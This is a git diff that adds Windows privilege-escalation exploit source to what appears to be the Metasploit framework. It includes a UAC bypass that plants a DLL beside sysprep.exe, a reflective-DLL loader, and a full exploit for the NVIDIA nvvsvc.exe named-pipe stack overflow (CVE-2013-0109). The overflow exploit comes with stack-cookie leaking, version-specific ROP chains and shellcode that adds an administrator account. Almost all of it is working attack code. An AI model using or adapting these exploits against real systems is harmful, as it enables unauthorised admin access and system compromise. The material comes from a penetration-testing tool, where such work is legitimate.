wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64); + wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll); + + /* %windir%\system32\sysprep\sysprep.exe */ + wcscat_s(szElevExeFull, MAX_PATH, szElevDir); + wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe); + + if (CoInitialize(NULL) == S_OK) + { + if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK) + { + if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK) + { + if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK) + { + if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK) + { + if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK) + { + /* Copy the DLL file to the sysprep folder*/ + if (pFileOp->PerformOperations() == S_OK) + { + /* Execute sysprep.exe */ + SHELLEXECUTEINFOW shinfo; + ZeroMemory(&shinfo, sizeof(shinfo)); + shinfo.cbSize = sizeof(shinfo); + shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; + shinfo.lpFile = szElevExeFull; + shinfo.lpParameters = szElevArgs; + shinfo.lpDirectory = szElevDir; + shinfo.nShow = SW_HIDE; + + Wow64DisableWow64FsRedirection(&OldValue); + if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL) + { + WaitForSingleObject(shinfo.hProcess, 10000); + CloseHandle(shinfo.hProcess); + } + + if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)) + { + if (0 != pSHIDelete) + { + if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) + { + pFileOp->PerformOperations(); + // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path + // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see: + // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx + if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)) + { + if (0 != pSHIDelete) + { + if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) + { + pFileOp->PerformOperations(); + } + } + } + } + } + } + } + } + } + } + } + } + } +} diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.h b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h new file mode 100644 index 0000000000..cce02e5bff --- /dev/null +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h @@ -0,0 +1,8 @@ +#include +#include +#include +#include +#include +#include + +EXTERN_C void exploit(); diff --git a/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c new file mode 100644 index 0000000000..83b0c9fddb --- /dev/null +++ b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c @@ -0,0 +1,26 @@ +#include "ReflectiveLoader.h" +#include "Exploit.h" + +extern HINSTANCE hAppInstance; + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + exploit(); + ExitProcess(0); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} diff --git a/external/source/exploits/bypassuac_injection/make.bat b/external/source/exploits/bypassuac_injection/make.bat new file mode 100644 index 0000000000..542886940b --- /dev/null +++ b/external/source/exploits/bypassuac_injection/make.bat @@ -0,0 +1,38 @@ +@ECHO OFF +IF "%VCINSTALLDIR%" == "" GOTO NEED_VS + +IF "%1"=="x86" GOTO BUILD_X86 +IF "%1"=="X86" GOTO BUILD_X86 +IF "%1"=="x64" GOTO BUILD_X64 +IF "%1"=="X64" GOTO BUILD_X64 + +ECHO "Building Exploits x64 and x86 (Release)" +SET PLAT=all +GOTO RUN + +:BUILD_X86 +ECHO "Building Exploits x86 (Release)" +SET PLAT=x86 +GOTO RUN + +:BUILD_X64 +ECHO "Building Exploits x64 (Release)" +SET PLAT=x64 +GOTO RUN + +:RUN +ECHO "Building Bypass UAC Injection" +msbuild.exe make.msbuild /target:%PLAT% + + +FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j +SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% +echo Finished %ldt% + +GOTO :END + +:NEED_VS +ECHO "This command must be executed from within a Visual Studio Command prompt." +ECHO "This can be found under Microsoft Visual Studio 2013 -> Visual Studio Tools" + +:END diff --git a/external/source/exploits/bypassuac_injection/make.msbuild b/external/source/exploits/bypassuac_injection/make.msbuild new file mode 100644 index 0000000000..9adb309502 --- /dev/null +++ b/external/source/exploits/bypassuac_injection/make.msbuild @@ -0,0 +1,19 @@ + + + + .\bypassuac_injection.sln + + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2013-0109/make.msbuild b/external/source/exploits/cve-2013-0109/make.msbuild new file mode 100755 index 0000000000..820c6d9b39 --- /dev/null +++ b/external/source/exploits/cve-2013-0109/make.msbuild @@ -0,0 +1,18 @@ + + + + .\nvidia_nvsvc.sln + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2013-0109/nvidia_nvsvc.sln b/external/source/exploits/cve-2013-0109/nvidia_nvsvc.sln new file mode 100755 index 0000000000..9a52c16683 --- /dev/null +++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "nvidia_nvsvc", "nvidia_nvsvc\nvidia_nvsvc.vcxproj", "{6B3FF768-1F25-49C1-8827-EDEC84D4749F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6B3FF768-1F25-49C1-8827-EDEC84D4749F}.Debug|Win32.ActiveCfg = Debug|Win32 + {6B3FF768-1F25-49C1-8827-EDEC84D4749F}.Debug|Win32.Build.0 = Debug|Win32 + {6B3FF768-1F25-49C1-8827-EDEC84D4749F}.Release|Win32.ActiveCfg = Release|Win32 + {6B3FF768-1F25-49C1-8827-EDEC84D4749F}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/dllmain.c b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/dllmain.c new file mode 100755 index 0000000000..c75822e96b --- /dev/null +++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/dllmain.c @@ -0,0 +1,33 @@ +//===============================================================================================// +// This is a stub for the actual functionality of the DLL. +//===============================================================================================// + +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +#include "nvidia_nvsvc.h" + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + elevate_nvidia_nvsvc(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.cpp b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.cpp new file mode 100755 index 0000000000..68fd9dd039 --- /dev/null +++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.cpp @@ -0,0 +1,546 @@ +/* +NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012 +- Bypass DEP + ASLR + /GS + CoE +============================================================= +(@peterwintrsmith) + + ** Initial release 25/12/12 + ** Update 25/12/12 - Target for 30 Aug 2012 nvvsvc.exe Build - thanks + @seanderegge! + +Hey all! + +Here is an interesting exploit for a stack buffer overflow in the NVidia +Display Driver Service. The service listens on a named pipe (\pipe\nsvr) +which has a NULL DACL configured, which should mean that any logged on user +or remote user in a domain context (Windows firewall/file sharing +permitting) should be able to exploit this vulnerability. + +The buffer overflow occurs as a result of a bad memmove operation, with the +stack layout effectively looking like this: + +[locals] +[received-data] +[response-buf] +[stack cookie] +[return address] +[arg space] +[etc] + +The memmove copies data from the received-data buffer into the response-buf +buffer, unchecked. It is possible to control the offset from which the copy +starts in the received-data buffer by embedding a variable length string - +which forms part of the protocol message being crafted - as well as the +number of bytes copied into the response buffer. + +The amount of data sent back over the named pipe is related to the number +of bytes copied rather than the maximum number of bytes that the buffer is +able to safely contain, so it is possible to leak stack data by copying +from the end of the received-data buffer, through the response-buf buffer +(which is zeroed first time round, and second time round contains whatever +was in it beforehand), right to the end of the stack frame (including stack +cookie and return address). + +As the entire block of data copied is sent back, the stack cookie and +nvvsvc.exe base can be determined using the aforementioned process. The +stack is then trashed, but the function servicing pipe messages won't +return until the final message has been received, so it doesn't matter too +much. + +It is then possible to exploit the bug by sending two further packets of +data: One containing the leaked stack cookie and a ROP chain dynamically +generated using offsets from the leaked nvvsvc.exe base (which simply fills +the response-buf buffer when this data is echoed back) and a second packet +which contains enough data to trigger an overwrite if data is copied from +the start of the received-data buffer into the response-buf (including the +data we primed the latter to contain - stack cookie and ROP chain). + +Allowing the function to then return leads to execution of our ROP chain, +and our strategically placed Metasploit net user /add shellcode! We get +continuation of execution for free because the process spins up a thread +to handle each new connection, and there are no deadlocks etc. + +I've included two ROP chains, one which works against the nvvsvc.exe +running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers +from the Dell site, and one which works against the latest version of the +drivers for the same card, from: +http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m +http://www.geforce.co.uk/drivers/results/54709 + +Hope you find this interesting - it's a fun bug to play with! + +- Sample Session - + + +C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators +Alias name administrators +Comment Administrators have complete and unrestricted access to the computer/domain + +Members + +------------------------------------------------------------------------------- +Administrator +Peter +The command completed successfully. + + +C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1 + ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) ** + [@peterwintrsmith] + - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 - + + Action 1 of 9: - CONNECT + + Action 2 of 9: - CLIENT => SERVER + Written 16416 (0x4020) characters to pipe + + Action 3 of 9: - SERVER => CLIENT + Read 16504 (0x4078) characters from pipe + + Action 4 of 9: Building exploit ... + => Stack cookie 0xe2e2893340d4: + => nvvsvc.exe base 0x13fb90000: + + Action 5 of 9: - CLIENT => SERVER + Written 16416 (0x4020) characters to pipe + + Action 6 of 9: - SERVER => CLIENT + Read 16384 (0x4000) characters from pipe + + Action 7 of 9: - CLIENT => SERVER + Written 16416 (0x4020) characters to pipe + + Action 8 of 9: - SERVER => CLIENT + Read 16896 (0x4200) characters from pipe + + Action 9 of 9: - DISCONNECT + +C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators +Alias name administrators +Comment Administrators have complete and unrestricted access to the computer/domain + +Members + +------------------------------------------------------------------------------- +Administrator +Peter +r00t +The command completed successfully. + + +C:\Users\Peter\Desktop\NVDelMe1> + +*/ + +#include +#include +extern "C" { +#include "nvidia_nvsvc.h" +} + +enum EProtocolAction +{ + ProtocolAction_Connect = 0, + ProtocolAction_Receive, + ProtocolAction_Send, + ProtocolAction_Disconnect, + ProtocolAction_ReadCookie, +}; + +typedef struct +{ + EProtocolAction Action; + PBYTE Buf; + DWORD Length; +} ProtocolMessage; + +const int GENERIC_BUF_LENGTH = 0x10000; + +#define WriteByte(val) {buf[offs] = val; offs += 1;} +#define WriteWord(val) {*(WORD *)(buf + offs) = val; offs += 2;} +#define WriteDword(val) {*(DWORD *)(buf + offs) = val; offs += 4;} +#define WriteBytes(val, len) {memcpy(buf + offs, val, len); offs += len;} +#define BufRemaining() (sizeof(buf) - offs) + +DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer) +{ + DWORD dwWritten = 0; + + if (WriteFile(hPipe, pBuffer, cbBuffer, &dwWritten, NULL)) + { + return dwWritten; + } + + return 0; +} + +DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer, BOOL bTimeout = FALSE) +{ + DWORD dwRead = 0, dwAvailable = 0; + + if (bTimeout) + { + for (DWORD i = 0; i < 30; i++) + { + if (!PeekNamedPipe(hPipe, NULL, NULL, NULL, &dwAvailable, NULL)) + { + goto Cleanup; + } + + if (dwAvailable) + { + break; + } + + Sleep(100); + } + + if (!dwAvailable) + { + goto Cleanup; + } + } + + if (!ReadFile(hPipe, pBuffer, cbBuffer, &dwRead, NULL)) + { + goto Cleanup; + } + +Cleanup: + return dwRead; +} + +HANDLE EstablishPipeConnection(char *pszPipe) +{ + HANDLE hPipe = CreateFileA( + pszPipe, + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + 0, + NULL + ); + + if (hPipe == INVALID_HANDLE_VALUE) + { + return NULL; + } + + return hPipe; +} + +BYTE *BuildMalicious_LeakStack() +{ + static BYTE buf[0x4020] = {0}; + UINT offs = 0; + + WriteWord(0x52); + + for(UINT i=0; i<0x2000; i++) + WriteWord(0x41); + + WriteWord(0); + + WriteDword(0); + WriteDword(0x4078); + + WriteDword(0x41414141); + WriteDword(0x41414141); + WriteDword(0x41414141); + WriteDword(0x41414141); + WriteDword(0x41414141); + + return buf; +} + +BYTE *BuildMalicious_FillBuf() +{ + static BYTE buf[0x4020] = {0}; + UINT offs = 0; + + WriteWord(0x52); + WriteWord(0); // string + + WriteDword(0); + WriteDword(0x4000); + + while(BufRemaining()) + WriteDword(0x43434343); + + return buf; +} + +BYTE *BuildMalicious_OverwriteStack() +{ + static BYTE buf[0x4020] = { 0 }; + UINT offs = 0; + + WriteWord(0x52); + WriteWord(0); // string + + WriteDword(0); + WriteDword(0x4340); // enough to copy shellcode too + + while (BufRemaining()) + { + WriteDword(0x42424242); + } + + return buf; +} + +/*! + * @brief Entry point for the exploit code. + * @param payload Pointer to the payload memory, which must be NULL terminated. + */ +VOID elevate_nvidia_nvsvc(LPVOID payload) +{ + SIZE_T payloadLen = strlen((char*)payload) + 1; + DWORD dwReturnCode = 1, dwBytesInOut = 0; + HANDLE hPipe = NULL; + + static BYTE rgReadBuf[GENERIC_BUF_LENGTH] = { 0 }; + + memset(rgReadBuf, 0, sizeof(rgReadBuf)); + + ProtocolMessage rgConvoMsg[] = + { + { ProtocolAction_Connect, NULL, 0 }, + { ProtocolAction_Send, BuildMalicious_LeakStack(), 0x4020 }, + { ProtocolAction_Receive, { 0 }, 0x4200 }, + { ProtocolAction_ReadCookie, { 0 }, 0 }, + { ProtocolAction_Send, BuildMalicious_FillBuf(), 0x4020 }, + { ProtocolAction_Receive, { 0 }, 0x4000 }, + { ProtocolAction_Send, BuildMalicious_OverwriteStack(), 0x4020 }, + { ProtocolAction_Receive, { 0 }, 0x4200 }, + { ProtocolAction_Disconnect, NULL, 0 }, + }; + + DWORD dwNumberOfMessages = sizeof(rgConvoMsg) / sizeof(ProtocolMessage), i = 0; + BOOL bTryAgain = FALSE; + char szPipe[256] = "\\\\.\\pipe\\nvsr"; + + // We could renable remote hosts to target other devices on network?! + // sprintf(szPipe, "\\\\%s\\pipe\\nvsr", argv[1]); + + while (i < dwNumberOfMessages) + { + printf("\n\tAction %u of %u: ", i + 1, dwNumberOfMessages); + + switch (rgConvoMsg[i].Action) + { + case ProtocolAction_Connect: + printf(" - CONNECT\n"); + + hPipe = EstablishPipeConnection(szPipe); + if (!hPipe) + { + printf("!! Unable to create named pipe (GetLastError() = %u [0x%x])\n", GetLastError(), GetLastError()); + goto Cleanup; + } + + break; + case ProtocolAction_Disconnect: + printf(" - DISCONNECT\n"); + + CloseHandle(hPipe); + hPipe = NULL; + + break; + case ProtocolAction_Send: + printf(" - CLIENT => SERVER\n"); + + if (!(dwBytesInOut = WritePipe(hPipe, rgConvoMsg[i].Buf, rgConvoMsg[i].Length))) + { + printf("!! Error writing to pipe\n"); + goto Cleanup; + } + + printf("\t\tWritten %u (0x%x) characters to pipe\n", dwBytesInOut, dwBytesInOut); + + break; + case ProtocolAction_Receive: + printf("\t - SERVER => CLIENT\n"); + + if (!(dwBytesInOut = ReadPipe(hPipe, rgReadBuf, rgConvoMsg[i].Length, FALSE))) + { + printf("!! Error reading from pipe (at least, no data on pipe)\n"); + goto Cleanup; + } + + printf("\t\tRead %u (0x%x) characters from pipe\n", dwBytesInOut, dwBytesInOut); + + break; + case ProtocolAction_ReadCookie: + + // x64 Metasploit cmd/exec: + // "net user r00t r00t00r! /add & net localgroup administrators /add" + // exitfunc=thread + /*char code[] = "" + "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" + "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" + "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" + "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" + "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" + "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" + "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" + "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" + "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" + "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" + "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" + "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" + "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" + "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" + "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" + "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" + "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" + "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64" + "\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x72\x30" + "\x30\x74\x20\x72\x30\x30\x74\x30\x30\x72\x21\x20\x2f\x61\x64" + "\x64\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72" + "\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74" + "\x6f\x72\x73\x20\x72\x30\x30\x74\x20\x2f\x61\x64\x64\x00";*/ + printf("Building exploit ...\n"); + unsigned __int64 uiStackCookie = *(unsigned __int64 *)(rgReadBuf + 0x4034); + printf("\t\t => Stack cookie 0&x:\n", (DWORD)(uiStackCookie >> 32), (DWORD)uiStackCookie); + + memcpy(rgConvoMsg[4].Buf + 0xc + 0xc, &uiStackCookie, 8); + + unsigned __int64 uiRetnAddress = *(unsigned __int64 *)(rgReadBuf + 0x4034 + 8), uiBase = 0, *pRopChain = NULL; + + // Perform some limited fingerprinting (my default install version, vs latest at time of testing) + switch (uiRetnAddress & 0xfff) + { + case 0x640: // nvvsvc.exe - 03 Nov 2011 - 1,640,768 bytes - md5=3947ad5d03e6abcce037801162fdb90d + uiBase = uiRetnAddress - 0x4640; + printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase); + + pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7 * 8)); + + // Param 1: lpAddress [r11 (near rsp) into rcx] + pRopChain[0] = uiBase + 0x19e6e; // nvvsvc.exe+0x19e6e: mov rax, r11; retn + pRopChain[1] = uiBase + 0xa6d64; // nvvsvc.exe+0xa6d64: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn + pRopChain[2] = 0; // Padding + pRopChain[3] = 0; // ... + pRopChain[4] = 0; // ... + pRopChain[5] = 0; // ... + pRopChain[6] = 0; // ... + pRopChain[7] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn + pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)] + pRopChain[9] = uiBase + 0xa8653; // nvvsvc.exe+0xa8653: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn + pRopChain[10] = 0; // Padding + pRopChain[11] = 0; // ... + pRopChain[12] = 0; // ... + pRopChain[13] = 0; // ... + pRopChain[14] = 0; // ... + pRopChain[15] = uiBase + 0x7772; // nvvsvc.exe+0x7772: pop r8; retn + pRopChain[16] = 0x40; // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)] + pRopChain[17] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn + // Param 4: lpflOldProtect [r9 - already points at writable location] + pRopChain[18] = uiBase + 0xfe5e0; // nvvsvc.exe+0xfe5e0: IAT entry &VirtualProtect + pRopChain[19] = uiBase + 0x5d60; // nvvsvc.exe+0x5d60: mov rax, [rax]; retn + pRopChain[20] = uiBase + 0x91a85; // nvvsvc.exe+0x91a85: jmp rax + pRopChain[21] = uiBase + 0xe6251; // nvvsvc.exe+0xe6251: jmp rsp (return address from VirtualProtect) + + memcpy(pRopChain + 22, payload, payloadLen); + break; + case 0x9f1: // nvvsvc.exe - 30 Aug 2012 - 891,240 bytes - md5=43f91595049de14c4b61d1e76436164f + uiBase = uiRetnAddress - 0x39f1; + printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase); + + pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7 * 8)); + + // Param 1: lpAddress [r11 (near rsp) into rcx] + pRopChain[0] = uiBase + 0x15d36; // nvvsvc.exe+0x15d36: mov rax, r11; retn + pRopChain[1] = uiBase + 0x5493c; // nvvsvc.exe+0x5493c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn + pRopChain[2] = 0; // Padding ... + pRopChain[3] = 0; // ... + pRopChain[4] = 0; // ... + pRopChain[5] = 0; // ... + pRopChain[6] = 0; // ... + pRopChain[7] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn + pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)] + pRopChain[9] = uiBase + 0x55dbf; // nvvsvc.exe+0x55dbf: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn + pRopChain[10] = 0; // Padding ... + pRopChain[11] = 0; // ... + pRopChain[12] = 0; // ... + pRopChain[13] = 0; // ... + pRopChain[14] = 0; // ... + // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)] + pRopChain[15] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn + pRopChain[16] = 0x40; // PAGE_EXECUTE_READWRITE + pRopChain[17] = uiBase + 0x8b92; // nvvsvc.exe+0x55dbf: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn + pRopChain[18] = 0; // Padding ... + pRopChain[19] = 0; // ... + pRopChain[20] = 0; // ... + pRopChain[21] = 0; // ... + pRopChain[22] = 0; // ... + // Param 4: lpflOldProtect [r9 - already points at writable location] + pRopChain[23] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn + pRopChain[24] = uiBase + 0x91308; // IAT entry &VirtualProtect - 0x130 + pRopChain[25] = uiBase + 0x82989; // nvvsvc.exe+0x82989: mov rax, [rax+130h]; add rsp, 28h; retn + pRopChain[26] = 0; // Padding ... + pRopChain[27] = 0; // ... + pRopChain[28] = 0; // ... + pRopChain[29] = 0; // ... + pRopChain[30] = 0; // ... + pRopChain[31] = uiBase + 0x44ba6; // nvvsvc.exe+0x44ba6: jmp eax + pRopChain[32] = uiBase + 0x77c59; // nvvsvc.exe+0x77c59: jmp esp + + memcpy(pRopChain + 33, payload, payloadLen); + break; + case 0xa11: // nvvsvc.exe - 01 Dec 2012 - 890,216 md5=3341d2c91989bc87c3c0baa97c27253b + uiBase = uiRetnAddress - 0x3a11; + printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase); + + pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7 * 8)); + + // Param 1: lpAddress [r11 (near rsp) into rcx] + pRopChain[0] = uiBase + 0x15b52; // nvvsvc.exe+0x15b52: mov rax, r11; retn + pRopChain[1] = uiBase + 0x54d4c; // nvvsvc.exe+0x54d4c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn + pRopChain[2] = 0; // Padding ... + pRopChain[3] = 0; // ... + pRopChain[4] = 0; // ... + pRopChain[5] = 0; // ... + pRopChain[6] = 0; // ... + pRopChain[7] = uiBase + 0x8d7aa; // nvvsvc.exe+0x8d7aa: pop rdx; add al, 0; pop rbp; retn + pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)] + pRopChain[9] = 0; // Padding ... + // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)] + pRopChain[10] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn + pRopChain[11] = 0x40; // PAGE_EXECUTE_READWRITE + pRopChain[12] = uiBase + 0x8d26; // nvvsvc.exe+0x8d26: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn + pRopChain[13] = 0; // Padding ... + pRopChain[14] = 0; // ... + pRopChain[15] = 0; // ... + pRopChain[16] = 0; // ... + pRopChain[17] = 0; // ... + // Param 4: lpflOldProtect [r9 - already points at writable location] + pRopChain[18] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn + pRopChain[19] = uiBase + 0x91310; // IAT entry &VirtualProtect - 0x128 + pRopChain[20] = uiBase + 0x82851; // nvvsvc.exe+0x82851: mov rax, [rax+128h]; add rsp, 28h; retn + pRopChain[21] = 0; // Padding ... + pRopChain[22] = 0; // ... + pRopChain[23] = 0; // ... + pRopChain[24] = 0; // ... + pRopChain[25] = 0; // ... + pRopChain[26] = uiBase + 0x44fb6; // nvvsvc.exe+0x44fb6: jmp rax + pRopChain[27] = uiBase + 0x8a0dc; // nvvsvc.exe+0x8a0dc: push rsp; retn + + memcpy(pRopChain + 28, payload, payloadLen); + break; + } + + break; + } + + i++; + } + +Cleanup: + if (hPipe) + { + CloseHandle(hPipe); + } +} \ No newline at end of file diff --git a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.h b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.h new file mode 100755 index 0000000000..697b58450b --- /dev/null +++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.h @@ -0,0 +1,6 @@ +#ifndef _METASPLOIT_SOURCE_NVIDIA_NVSVC_H +#define _METASPLOIT_SOURCE_NVIDIA_NVSVC_H + +VOID elevate_nvidia_nvsvc(LPVOID payload); + +#endif diff --git a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj new file mode 100755 index 0000000000..41d2cbd3f2 --- /dev/null +++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj @@ -0,0 +1,142 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {6B3FF768-1F25-49C1-8827-EDEC84D4749F} + nvidia_nvsvc + Win32Proj + + + + DynamicLibrary + MultiByte + false + v120 + + + DynamicLibrary + MultiByte + v120 + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + false + false + AllRules.ruleset + + + $(ProjectName).$(PlatformShortName) + + + + Disabled + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + 